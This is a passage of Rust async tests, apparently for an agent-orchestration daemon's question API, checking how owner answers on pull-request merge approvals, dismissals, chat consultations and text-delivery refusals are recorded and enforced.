10404 state.land_approval = Some(crate::run::LandApproval {
10405 question: q.id.clone(),
10406 head: "old-reviewed-head".into(),
10407 });
10408 state.save_under(fx.home.path()).unwrap();
10411 let stale_driver = state.clone();
10412 fx.questions().put(&mut q).unwrap();
10413 let path = fx
10414 .home
10415 .path()
10416 .join("questions")
10417 .join(format!("{}.json", q.id));
10418 let mut legacy = serde_json::to_value(&q).unwrap();
10419 legacy["schema"] = 9.into();
10420 legacy.as_object_mut().unwrap().remove("merge_target");
10421 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10422
10423 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10426 let answer_path = format!("/api/questions/{}/answer", q.id);
10427 let res = fx.post(&answer_path, Some(&body)).await;
10428 assert_eq!(res.status, 200, "{}", res.body);
10429 let disk = fx.questions().get(&q.id).unwrap();
10430 assert_eq!(
10431 disk.resolution().as_deref(),
10432 Some(crate::merge_decision::DISMISS)
10433 );
10434 assert!(disk.detail.starts_with("Original review evidence"));
10435 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10436 assert_eq!(retired.status, RunStatus::Superseded);
10437 assert_eq!(
10438 serde_json::to_value(&retired.pr).unwrap(),
10439 serde_json::to_value(&state.pr).unwrap()
10440 );
10441 assert!(!retired.merge_decision.as_ref().unwrap().closed);
10442 assert!(!crate::merge_decision::resumable_hold(&retired));
10443 assert!(fx.queue().list().is_empty());
10444 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10445 let addr = Fixture::serve(
10447 fx.home.path(),
10448 PathBuf::from("/repo/magi"),
10449 launch_idle,
10450 None,
10451 )
10452 .await;
10453 let reconnected = Fixture {
10454 home: fx.home,
10455 addr,
10456 };
10457 let listed = reconnected.get("/api/questions").await.json();
10458 assert!(
10459 listed
10460 .as_array()
10461 .unwrap()
10462 .iter()
10463 .all(|q| q["status"] != "open")
10464 );
10465 assert_eq!(listed[0]["id"], q.id, "history remains available");
10466 assert_eq!(
10467 reconnected.get("/api/health").await.json()["questions_open"],
10468 0
10469 );
10470 assert_eq!(
10471 reconnected
10472 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10473 .await
10474 .status,
10475 409
10476 );
10477 assert!(
10479 reconnected
10480 .questions()
10481 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10482 .is_err()
10483 );
10484 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10487 }
10488
10489 #[tokio::test]
10490 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10491 let fx = Fixture::start().await;
10492 let mut state = obsolete_approval_state();
10493 state.status = RunStatus::Landing;
10494 state.driver_exited = true;
10495 let mut q = Question::new(
10496 state.id.clone(),
10497 crate::land::APPROVAL_NODE.into(),
10498 "land".into(),
10499 "Obsolete approval".into(),
10500 String::new(),
10501 vec!["merge".into(), "hold".into()],
10502 );
10503 state.land_approval = Some(crate::run::LandApproval {
10504 question: q.id.clone(),
10505 head: "head".into(),
10506 });
10507 state.save_under(fx.home.path()).unwrap();
10508 fx.questions().put(&mut q).unwrap();
10509 let mut task = Task::new(
10510 "Owner".into(),
10511 "Original instruction".into(),
10512 state.repo.clone(),
10513 Source::Human,
10514 );
10515 task.runs = vec![state.id.clone(), "later-run".into()];
10516 fx.queue().put(&mut task).unwrap();
10517 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10518 let claim = fx.queue().claim(&task.id).unwrap();
10519 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10520 let path = format!("/api/questions/{}/answer", q.id);
10521 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10522 assert!(fx.questions().get(&q.id).unwrap().status.open());
10523 drop(claim);
10524 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10525 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10526 assert!(fx.questions().get(&q.id).unwrap().status.open());
10527 drop(publication);
10528 state.driver_exited = false;
10530 state.driver_pid = None;
10531 state.save_under(fx.home.path()).unwrap();
10532 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10533 state.driver_exited = true;
10534 state.land_armed_head = Some("head".into());
10535 state.save_under(fx.home.path()).unwrap();
10536 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10537 state.land_armed_head = None;
10538 state.save_under(fx.home.path()).unwrap();
10539 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10540 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10541 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10542 }
10543
10544 #[tokio::test]
10545 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10546 let fx = Fixture::start().await;
10547 let mut state = obsolete_approval_state();
10548 state.status = RunStatus::Landing;
10549 state.driver_exited = true;
10550 let mut q = Question::new(
10551 state.id.clone(),
10552 crate::land::APPROVAL_NODE.into(),
10553 "land".into(),
10554 "Obsolete approval".into(),
10555 String::new(),
10556 vec!["merge".into(), "hold".into()],
10557 );
10558 state.land_approval = Some(crate::run::LandApproval {
10559 question: q.id.clone(),
10560 head: "head".into(),
10561 });
10562 state.save_under(fx.home.path()).unwrap();
10563 fx.questions().put(&mut q).unwrap();
10564 let mut task = Task::new(
10565 "Owner".into(),
10566 "Original instruction".into(),
10567 state.repo.clone(),
10568 Source::Human,
10569 );
10570 task.runs.push(state.id.clone());
10571 task.status = TaskStatus::Parked;
10572 fx.queue().put(&mut task).unwrap();
10573 state.merge_decision = Some(crate::merge_decision::Decision {
10576 question: q.id.clone(),
10577 target: crate::merge_decision::Target {
10578 pr: state.pr.as_ref().unwrap().url.clone(),
10579 head: "head".into(),
10580 language: "ja".into(),
10581 },
10582 choice: crate::merge_decision::DISMISS.into(),
10583 closed: false,
10584 replacement_run: None,
10585 replacement_pr: None,
10586 });
10587 state.status = RunStatus::Superseded;
10588 state.save_under(fx.home.path()).unwrap();
10589 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10590 let path = format!("/api/questions/{}/answer", q.id);
10591 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10592 let done = fx.queue().get(&task.id).unwrap();
10593 assert_eq!(done.status, TaskStatus::Done);
10594 assert_eq!(done.runs, task.runs);
10595 assert_eq!(done.instruction, task.instruction);
10596 assert!(done.action_applied(&q.id));
10597 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10598 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10599 assert!(!fx.questions().get(&q.id).unwrap().status.open());
10600 }
10601
10602 #[tokio::test]
10603 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10604 let fx = Fixture {
10605 home: TempDir::new().unwrap(),
10606 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10607 };
10608 for choice in [
10609 crate::land::HOLD,
10610 crate::land::REPAIR,
10611 crate::land::APPROVE,
10612 crate::merge_decision::WITHDRAW,
10613 "reimplement:beta",
10614 ] {
10615 let mut q = Question::new(
10616 "old-run".into(),
10617 crate::land::APPROVAL_NODE.into(),
10618 "land".into(),
10619 "Decision".into(),
10620 "Review findings".into(),
10621 vec![
10622 "merge".into(),
10623 "hold".into(),
10624 crate::land::REPAIR.into(),
10625 crate::merge_decision::WITHDRAW.into(),
10626 "reimplement:beta".into(),
10627 ],
10628 );
10629 q.merge_target = Some(crate::merge_decision::Target {
10630 pr: "https://github.com/example/repo/pull/42".into(),
10631 head: "exact-reviewed-head".into(),
10632 language: "ja".into(),
10633 });
10634 q.consult = Some(ask::ChatConsult {
10635 talk: "another-conversation".into(),
10636 at: jiff::Timestamp::now(),
10637 });
10638 fx.questions().put(&mut q).unwrap();
10639 let ui = Arc::new(Ui::new(
10640 fx.queue(),
10641 fx.questions(),
10642 fx.talks(),
10643 fx.runs(),
10644 fx.home.path().into(),
10645 std::path::PathBuf::from("."),
10646 ));
10647 let response = question_answer(
10648 State(ui.clone()),
10649 Path(q.id.clone()),
10650 Ok(Json(NewAnswer {
10651 choice: Some(choice.into()),
10652 text: None,
10653 })),
10654 )
10655 .await
10656 .unwrap();
10657 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10658 let disk = fx.questions().get(&q.id).unwrap();
10659 assert_eq!(disk.merge_target, q.merge_target);
10660 assert_eq!(disk.consult, q.consult);
10661 assert!(
10662 disk.answer_authority.is_none(),
10663 "a direct owner card is its own decision"
10664 );
10665 assert_eq!(disk.resolution().as_deref(), Some(choice));
10666 assert!(
10667 question_answer(
10668 State(ui),
10669 Path(q.id.clone()),
10670 Ok(Json(NewAnswer {
10671 choice: Some("merge".into()),
10672 text: None
10673 }))
10674 )
10675 .await
10676 .is_err(),
10677 "an already settled decision cannot turn into merge approval"
10678 );
10679 }
10680 }
10681
10682 #[tokio::test]
10683 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10684 let fx = Fixture {
10685 home: TempDir::new().unwrap(),
10686 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10687 };
10688 let mut state = crate::land::tests::repair_state(true, true);
10689 state.status = RunStatus::Landing;
10690 state.parked = true;
10691 state.driver_exited = true;
10692 let mut task = Task::new(
10693 "Existing PR owner".into(),
10694 state.instruction.clone(),
10695 state.repo.clone(),
10696 Source::Human,
10697 );
10698 task.runs.push(state.id.clone());
10699 task.status = TaskStatus::Parked;
10700 fx.queue().put(&mut task).unwrap();
10701 let mut q = Question::new(
10702 state.id.clone(),
10703 crate::land::APPROVAL_NODE.into(),
10704 "land".into(),
10705 "Contested merge".into(),
10706 "Original evidence".into(),
10707 vec!["merge".into(), "hold".into()],
10708 );
10709 state.land_approval = Some(crate::run::LandApproval {
10710 question: q.id.clone(),
10711 head: "reviewed-head".into(),
10712 });
10713 state.save_under(fx.home.path()).unwrap();
10714 fx.questions().put(&mut q).unwrap();
10715 task.hold_manual(Some("Pause this PR".into()));
10717 fx.queue().put(&mut task).unwrap();
10718 let ui = Arc::new(Ui::new(
10721 fx.queue(),
10722 fx.questions(),
10723 fx.talks(),
10724 fx.runs(),
10725 fx.home.path().to_path_buf(),
10726 state.repo.clone(),
10727 ));
10728 let response = question_answer(
10729 State(ui),
10730 Path(q.id.clone()),
10731 Ok(Json(NewAnswer {
10732 choice: Some(crate::land::REPAIR.into()),
10733 text: None,
10734 })),
10735 )
10736 .await
10737 .unwrap();
10738 assert_eq!(response.0.question.id, q.id);
10739 let upgraded = fx.questions().get(&q.id).unwrap();
10740 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10741 assert!(upgraded.detail.starts_with("Original evidence"));
10742 let claim = fx.queue().claim(&task.id).unwrap();
10743 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10744 assert!(
10745 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10746 "an existing driver keeps its claim"
10747 );
10748 drop(claim);
10749 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10750 let resumed = fx.queue().get(&task.id).unwrap();
10751 assert_eq!(
10752 resumed
10753 .resume_override
10754 .as_ref()
10755 .unwrap()
10756 .pinned_run
10757 .as_deref(),
10758 Some(state.id.as_str())
10759 );
10760 assert!(resumed.status.runnable());
10761 assert_eq!(resumed.instruction, task.instruction);
10762 assert_eq!(resumed.runs, task.runs);
10763 assert!(resumed.action_applied(&q.id));
10764 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10765 assert_eq!(fx.queue().list().len(), 1);
10766 assert_eq!(
10767 fx.queue().get(&task.id).unwrap().resume_override,
10768 resumed.resume_override
10769 );
10770 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10771 assert!(
10772 disk.merge_repairs.is_empty(),
10773 "only the claimed run driver may execute repair"
10774 );
10775 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10776 }
10777
10778 #[tokio::test]
10779 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10780 let fx = Fixture::start().await;
10781 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10782 let path = format!("/api/questions/{id}/answer");
10783
10784 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10785 assert_eq!(res.status, 200, "{}", res.body);
10786 let body = res.json();
10787 assert_eq!(body["status"], "answered");
10788 assert_eq!(body["answer"]["choice"], "Redis");
10789
10790 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10794 assert_eq!(again.status, 409, "{}", again.body);
10795 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10796 }
10797
10798 #[tokio::test]
10799 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
10800 let home = tempfile::tempdir().unwrap();
10801 let ui = delta_test_ui(home.path());
10802 let mut q = Question::new(
10803 "task".into(),
10804 crate::land::APPROVAL_NODE.into(),
10805 "land".into(),
10806 "Explain?".into(),
10807 String::new(),
10808 vec!["hold".into()],
10809 );
10810 q.deputy = Some(ask::Deputy::new("context".into()));
10811 ui.questions.put(&mut q).unwrap();
10812 let mut cfg = stub_config();
10813 cfg.daemon.max_deputies = 0;
10814 let mut status = crate::daemon::Status::new();
10815 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10816 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
10817 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10818 let error = question_say(
10819 State(ui.clone()),
10820 Path(q.id.clone()),
10821 Ok(Json(NewSay {
10822 body: "Explain the findings".into(),
10823 })),
10824 )
10825 .await
10826 .unwrap_err();
10827 assert_eq!(
10828 error.text_reason,
10829 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
10830 );
10831 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10832
10833 let mut text = Question::new(
10834 "task".into(),
10835 "ask".into(),
10836 "operator".into(),
10837 "Which name?".into(),
10838 String::new(),
10839 vec![],
10840 );
10841 ui.questions.put(&mut text).unwrap();
10842 let Json(view) = question_answer(
10843 State(ui.clone()),
10844 Path(text.id.clone()),
10845 Ok(Json(NewAnswer {
10846 choice: None,
10847 text: Some("chosen name".into()),
10848 })),
10849 )
10850 .await
10851 .unwrap();
10852 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
10853 assert!(!ui.questions.get(&text.id).unwrap().status.open());
10854 }
10855
10856 #[tokio::test]
10857 async fn question_text_handler_admission_without_transport() {
10858 let home = tempfile::tempdir().unwrap();
10859 let ui = delta_test_ui(home.path());
10860 let mut q = Question::new(
10861 "task".into(),
10862 crate::land::APPROVAL_NODE.into(),
10863 "land".into(),
10864 "May this PR merge?".into(),
10865 String::new(),
10866 vec!["hold".into()],
10867 );
10868 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
10869 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10870 ui.questions.put(&mut q).unwrap();
10871 let say = || {
10872 Ok(Json(NewSay {
10873 body: "Explain the findings".into(),
10874 }))
10875 };
10876 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10877 .await
10878 .unwrap_err();
10879 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10880 let response = rejected.into_response();
10881 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
10882 .await
10883 .unwrap();
10884 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
10885 assert_eq!(body["code"], "question_text_unavailable");
10886 assert_eq!(body["reason"], "deputy_exhausted");
10887 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
10888 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
10889 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
10890 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
10891 .await
10892 .unwrap();
10893 assert_eq!(view.text_delivery.state, "live");
10894 assert!(view.question.waiter.is_none());
10895 assert!(view.question.cwd.is_none());
10896 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10897 ui.questions.drop_lease(&q.id);
10898 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10899 .await
10900 .unwrap_err();
10901 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10902 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10903 let _ = question_answer(
10904 State(ui.clone()),
10905 Path(q.id.clone()),
10906 Ok(Json(NewAnswer {
10907 choice: Some("hold".into()),
10908 text: None,
10909 })),
10910 )
10911 .await
10912 .unwrap();
10913 assert_eq!(
10914 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
10915 Some("hold")
10916 );
10917 }
10918
10919 #[tokio::test]
10920 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
10921 let fx = Fixture::start().await;
10922 let store = fx.questions();
10923 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
10924 store
10925 .update(&id, |q| {
10926 q.node = crate::land::APPROVAL_NODE.to_owned();
10927 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
10928 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10929 Ok(())
10930 })
10931 .unwrap();
10932 let path = format!("/api/questions/{id}/say");
10933 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10934 assert_eq!(refused.status, 422, "{}", refused.body);
10935 assert!(
10936 refused.json()["error"]
10937 .as_str()
10938 .unwrap()
10939 .contains("deputy_exhausted")
10940 );
10941 assert!(store.get(&id).unwrap().thread.is_empty());
10942
10943 store.beat(&id, ask::WaiterKind::Deputy);
10945 let view = fx.get("/api/questions").await.json();
10946 assert_eq!(view[0]["text_delivery"]["state"], "live");
10947 let accepted = fx
10948 .post(&path, Some(r#"{"body":"explain the findings"}"#))
10949 .await;
10950 assert_eq!(accepted.status, 200, "{}", accepted.body);
10951 let before = std::fs::read(store.path_of(&id)).unwrap();
10952
10953 store.drop_lease(&id);
10956 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10957 assert_eq!(refused.status, 422, "{}", refused.body);
10958 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10959 let held = fx
10960 .post(
10961 &format!("/api/questions/{id}/answer"),
10962 Some(r#"{"choice":"hold"}"#),
10963 )
10964 .await;
10965 assert_eq!(held.status, 200, "{}", held.body);
10966 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
10967 }
10968
10969 #[tokio::test]
10970 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
10971 let repo = tempfile::tempdir().unwrap();
10972 let mut cfg = stub_config();
10973 cfg.daemon.max_deputies = 0;
10974 std::fs::write(
10975 repo.path().join("magi.toml"),
10976 toml::to_string(&cfg).unwrap(),
10977 )
10978 .unwrap();
10979 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10980 let mut status = crate::daemon::Status::new();
10981 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10982 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
10983 let id = ask(&fx, "Explain?", &["hold"]);
10984 fx.questions()
10985 .update(&id, |q| {
10986 q.node = crate::land::APPROVAL_NODE.into();
10987 q.deputy = Some(ask::Deputy::new("context".into()));
10988 q.deputy.as_mut().unwrap().agent = "stub".into();
10989 Ok(())
10990 })
10991 .unwrap();
10992 cfg.daemon.max_deputies = 1;
10993 std::fs::write(
10994 repo.path().join("magi.toml"),
10995 toml::to_string(&cfg).unwrap(),
10996 )
10997 .unwrap();
10998 let view = fx.get("/api/questions").await.json();
10999 assert_eq!(view[0]["deputies_enabled"], true);
11000 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
11001 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
11002 let res = fx
11003 .post(
11004 &format!("/api/questions/{id}/say"),
11005 Some(r#"{"body":"Please explain"}"#),
11006 )
11007 .await;
11008 assert_eq!(res.status, 422, "{}", res.body);
11009 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
11010 }
11011
11012 #[tokio::test]
11013 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
11014 let fx = Fixture::start().await;
11015 let id = ask(&fx, "No seat", &[]);
11016 let store = fx.questions();
11017 let before = std::fs::read(store.path_of(&id)).unwrap();
11018 let res = fx
11019 .post(
11020 &format!("/api/questions/{id}/say"),
11021 Some(r#"{"body":"hello"}"#),
11022 )
11023 .await;
11024 assert_eq!(res.status, 422, "{}", res.body);
11025 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11026 let res = fx
11027 .post(
11028 &format!("/api/questions/{id}/answer"),
11029 Some(r#"{"text":"hello"}"#),
11030 )
11031 .await;
11032 assert_eq!(res.status, 200, "{}", res.body);
11033 assert_eq!(
11034 store.get(&id).unwrap().resolution().as_deref(),
11035 Some("hello")
11036 );
11037 }
11038
11039 #[tokio::test]
11040 async fn saying_something_appends_a_turn_without_answering() {
11041 let fx = Fixture::start().await;
11042 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11043 fx.questions().beat(&id, ask::WaiterKind::Asker);
11044 let path = format!("/api/questions/{id}/say");
11045
11046 let res = fx
11047 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
11048 .await;
11049 assert_eq!(res.status, 200, "{}", res.body);
11050 let body = res.json();
11051 assert_eq!(body["status"], "open", "talking back is not a decision");
11052 assert_eq!(body["answer"], Value::Null);
11053 assert_eq!(body["thread"][0]["who"], "operator");
11054 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
11055 assert_eq!(body["waiting_on_agent"], true);
11056 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11058 }
11059
11060 #[tokio::test]
11061 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
11062 let fx = Fixture::start().await;
11063 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11064
11065 let list = fx.get("/api/questions").await.json();
11066 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
11067
11068 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
11069 assert_eq!(res.status, 409, "{}", res.body);
11070 let q = fx.questions().get(&id).unwrap();
11071 assert!(q.status.open());
11072 assert!(q.consult.is_none());
11073 }
11074
11075 #[tokio::test]
11076 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
11077 let fx = Fixture::start().await;
11078 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11079 let cfg = Config {
11080 agents: vec![crate::config::AgentSpec {
11081 id: "mock".to_owned(),
11082 kind: crate::config::AgentKind::Command,
11083 model: None,
11084 command: vec!["true".to_owned()],
11085 extra_args: Vec::new(),
11086 env: Default::default(),
11087 prompt_delivery: None,
11088 }],
11089 ..Config::default()
11090 };
11091 let talk = crate::talk::begin(
11092 &fx.talks(),
11093 &cfg,
11094 fx.home.path().to_path_buf(),
11095 Some("mock"),
11096 )
11097 .unwrap();
11098 let mut task = Task::new(
11099 "t".to_owned(),
11100 "Do it".to_owned(),
11101 PathBuf::from("/repo/magi"),
11102 Source::Agent {
11103 run: talk.id.clone(),
11104 node: crate::queue::CHAT_NODE.to_owned(),
11105 },
11106 );
11107 task.start("20260902-000000-beef".to_owned());
11108 fx.queue().put(&mut task).unwrap();
11109
11110 let list = fx.get("/api/questions").await.json();
11111 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11112 assert_eq!(
11113 list[0]["choices"],
11114 serde_json::json!(["SQLite", "Redis"]),
11115 "the hand-over is never a choice"
11116 );
11117 fx.questions()
11118 .update(&id, |q| {
11119 q.node = crate::land::APPROVAL_NODE.into();
11120 q.choices = vec!["merge".into(), "hold".into()];
11121 Ok(())
11122 })
11123 .unwrap();
11124 let list = fx.get("/api/questions").await.json();
11125 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11126 assert_eq!(list[0]["can_consult_chat"], true);
11127 fx.questions()
11128 .update(&id, |q| {
11129 q.node = crate::bump::NOTICE_NODE.into();
11130 Ok(())
11131 })
11132 .unwrap();
11133 let list = fx.get("/api/questions").await.json();
11134 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11135 assert_eq!(list[0]["can_consult_chat"], false);
11136 }
11137
11138 #[tokio::test]
11139 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
11140 let fx = Fixture::start().await;
11141 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11142 fx.questions()
11143 .update(&id, |q| {
11144 q.node = crate::land::APPROVAL_NODE.into();
11145 q.choices = vec!["merge".into(), "hold".into()];
11146 Ok(())
11147 })
11148 .unwrap();
11149 let cfg = Config {
11150 agents: vec![crate::config::AgentSpec {
11151 id: "mock".to_owned(),
11152 kind: crate::config::AgentKind::Command,
11153 model: None,
11154 command: vec!["true".to_owned()],
11155 extra_args: Vec::new(),
11156 env: Default::default(),
11157 prompt_delivery: None,
11158 }],
11159 ..Config::default()
11160 };
11161 let repo = fx.home.path().join("chat-repo");
11163 std::fs::create_dir_all(&repo).unwrap();
11164 let toml = repo.join("magi.toml");
11165 std::fs::write(&toml, "this is = = not toml").unwrap();
11166 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11167 let mut task = Task::new(
11168 "t".to_owned(),
11169 "Do it".to_owned(),
11170 PathBuf::from("/repo/magi"),
11171 Source::Agent {
11172 run: talk.id.clone(),
11173 node: crate::queue::CHAT_NODE.to_owned(),
11174 },
11175 );
11176 task.start("20260902-000000-beef".to_owned());
11177 fx.queue().put(&mut task).unwrap();
11178
11179 let path = format!("/api/questions/{id}/consult");
11180 let res = fx.post(&path, None).await;
11181 assert!(res.status >= 400, "{}", res.body);
11182 assert!(fx.questions().get(&id).unwrap().consult.is_none());
11183 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11184
11185 std::fs::write(&toml, "").unwrap();
11186 let res = fx.post(&path, None).await;
11187 assert_eq!(res.status, 202, "{}", res.body);
11188 assert!(fx.questions().get(&id).unwrap().consult.is_some());
11189 let q = fx.questions().get(&id).unwrap();
11190 assert!(q.status.open());
11191 assert!(q.answer.is_none());
11192 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11193 assert_eq!(res.json()["can_consult_chat"], true);
11194 let list = fx.get("/api/questions").await.json();
11195 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11196 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11197
11198 let res = fx
11199 .post(
11200 &format!("/api/questions/{id}/answer"),
11201 Some(r#"{"choice":"hold"}"#),
11202 )
11203 .await;
11204 assert_eq!(res.status, 200, "{}", res.body);
11205 assert_eq!(res.json()["answer"]["choice"], "hold");
11206 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11207 assert_eq!(res.json()["can_consult_chat"], false);
11208 assert_eq!(fx.post(&path, None).await.status, 409);
11209
11210 let mut talk = fx.talks().get(&talk.id).unwrap();
11211 crate::talk::close(&mut talk, &fx.talks()).unwrap();
11212 let list = fx.get("/api/questions").await.json();
11213 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11214 assert_eq!(list[0]["origin_chat_closed"], true);
11215 assert_eq!(list[0]["can_consult_chat"], false);
11216
11217 fx.talks().remove(&talk.id).unwrap();
11218 let list = fx.get("/api/questions").await.json();
11219 assert_eq!(list[0]["origin_chat"], Value::Null);
11220 assert_eq!(list[0]["origin_chat_closed"], false);
11221 assert_eq!(list[0]["can_consult_chat"], false);
11222 }
11223
11224 #[tokio::test]
11225 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11226 let fx = Fixture::start().await;
11227 let store = fx.questions();
11228 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11229 store.beat(&id, ask::WaiterKind::Asker);
11230 assert_eq!(
11231 fx.get("/api/health").await.json()["questions_needs_owner"],
11232 1
11233 );
11234
11235 let res = fx
11241 .post(
11242 &format!("/api/questions/{id}/say"),
11243 Some(r#"{"body":"why not Postgres?"}"#),
11244 )
11245 .await;
11246 assert_eq!(res.status, 200, "{}", res.body);
11247 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11248 assert_eq!(
11249 fx.get("/api/health").await.json()["questions_needs_owner"],
11250 0,
11251 "waiting on the agent is not waiting on the owner"
11252 );
11253
11254 let mut q = store.get(&id).expect("get");
11258 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11259 .expect("reply");
11260 store.put(&mut q).expect("put");
11261 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11262 assert_eq!(
11263 fx.get("/api/health").await.json()["questions_needs_owner"],
11264 1,
11265 "the agent's reply is what should light the banner back up"
11266 );
11267 }
11268
11269 #[tokio::test]
11270 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11271 let fx = Fixture::start().await;
11272 let store = fx.questions();
11273
11274 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11275 let res = fx
11276 .post(
11277 &format!("/api/questions/{empty_id}/say"),
11278 Some(r#"{"body":" "}"#),
11279 )
11280 .await;
11281 assert_eq!(res.status, 400, "{}", res.body);
11282
11283 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11284 let mut answered = store.get(&answered_id).expect("get");
11285 answered
11286 .answer(Answer::Choice("SQLite".to_owned()))
11287 .expect("answer");
11288 store.put(&mut answered).expect("put");
11289 let res = fx
11290 .post(
11291 &format!("/api/questions/{answered_id}/say"),
11292 Some(r#"{"body":"still there?"}"#),
11293 )
11294 .await;
11295 assert_eq!(res.status, 409, "{}", res.body);
11296
11297 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
